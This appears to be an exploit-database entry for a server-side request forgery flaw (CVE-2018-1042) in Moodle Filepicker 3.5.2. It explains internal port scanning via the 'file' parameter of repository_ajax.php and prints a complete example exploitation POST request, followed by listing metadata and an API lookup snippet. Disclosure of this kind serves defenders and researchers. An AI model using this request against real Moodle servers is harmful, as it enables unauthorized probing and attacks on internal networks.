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"Moodle Filepicker 3.5.2 - Server Side Request Forgery"

Author

"Fabian Mosch_ Nick Theisinger"

Platform

php

Release date

2019-07-26

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# Exploit Title: Server Side Request Forgery in Moodle Filepicker
# Google Dork: /
# Date: 2019-07-25
# Exploit Author: Fabian Mosch & Nick Theisinger (r-tec IT Security GmbH)
# Vendor Homepage: https://moodle.org/
# Software Link: https://github.com/moodle/moodle
# Version: Moodle Versions 3.4, 3.3, 3.3.3, 3.2 to 3.2.6, 3.1 to 3.1.9 and 3.5.2
# Tested on: Moodle Version 3.5.2
# CVE : CVE-2018-1042

We found a SSRF vulnerability for Moodle version 3.5.2. An authenticated attacker can scan the internal network and exploit internal web services with blind injections. Probably we are dealing with CVE-2018-1042 mentioned here:
https://moodle.org/mod/forum/discuss.php?d=364381

In version 3.5.2 we were not able to view all internal web server content, only pictures (PNG, GIF, SVN and so on) were displayed as a JSON-list. But it is possible to do internal port scans via http:// and https:// protocols. Open ports with no response for HTTP requests resulted in a timeout, SSL services like OpenSSH gave an SSL Error. For web applications the HTTP headers can be found in the response (403 forbidden, 404 not Found and so on). Found web applications can be attacked via HTTP GET requests. The vulnerable script is "repository_ajax.php" and the parameter is "file".

Example exploitation request:

POST /repository/repository_ajax.php?action=signin HTTP/1.1
Host: VulnerableMoodleHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://VulnerableMoodleHost/user/files.php
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 165
Connection: close
Cookie: MoodleSession=xxxxx;

file=InternalURL?parameter=XXEInjection&repo_id=5&p=&page=&env=filemanager&sesskey=xxxxxxxxxx
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Release Date Title Type Platform Author
2019-07-26 "Moodle Filepicker 3.5.2 - Server Side Request Forgery" webapps php "Fabian Mosch_ Nick Theisinger"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47177/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47177/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47177/41558/moodle-filepicker-352-server-side-request-forgery/download/", "exploit_id": "47177", "exploit_description": "\"Moodle Filepicker 3.5.2 - Server Side Request Forgery\"", "exploit_date": "2019-07-26", "exploit_author": "\"Fabian Mosch_ Nick Theisinger\"", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                    

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